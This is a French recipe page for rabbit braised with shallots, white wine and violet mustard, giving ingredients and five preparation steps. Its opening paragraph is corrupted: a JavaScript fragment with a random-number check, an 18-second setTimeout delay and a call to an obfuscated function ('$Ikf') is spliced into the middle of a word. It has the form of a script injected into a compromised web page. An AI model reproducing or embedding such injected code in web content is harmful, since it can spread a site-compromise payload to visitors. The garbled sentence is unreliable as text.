Lapin à la moutarde de violette

2018-02-17

Coupez le lapin en morceaux. Dans une cocotte sur feu vif avec 2 cuillères à soupe d’huile d’arachide, faites revenir les morceaux de lapin, salez et poivrez, quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ils sont biens dorés, ajoutez les échalotes.

Ingrédients

  • Pour 6 personnes
  • 1 lapin
  • 6 échalotes ciselées
  • 15 cl de vin blanc
  • 30 cl de bouillon de volaille
  • 1 bouquet de cerfeuil
  • 3 cuillères à soupe de moutarde à la violette
  • 4 cuillères à soupe d'huile d'arachide
  • 2 cuillères à soupe de crème fraîche liquide
  • Sel - Poivre

Préparation de la recette

Etape 1

Coupez le lapin en morceaux. Dans une cocotte sur feu vif avec 2 cuillères à soupe d'huile d'arachide, faites revenir les morceaux de lapin, salez et poivrez, quand ils sont biens dorés, ajoutez les échalotes.

Etape 2

Bien mélanger. Mouillez avec le vin blanc et le bouillon de volaille.

Etape 3

Faites cuire sur feu doux à couvert pendant 1 heure. Retirez les morceaux de lapin. Délayez la moutarde avec la crème fraîche dans la cocotte tout en remuant pendant 2 minutes.

Etape 4

Remettre le lapin dans la sauce à la moutarde et faites mijoter pendant 5 minutes sur feu très doux.

Etape 5

Déposez le lapin dans un plat creux nappez de sauce et servez avec des spaghettis.

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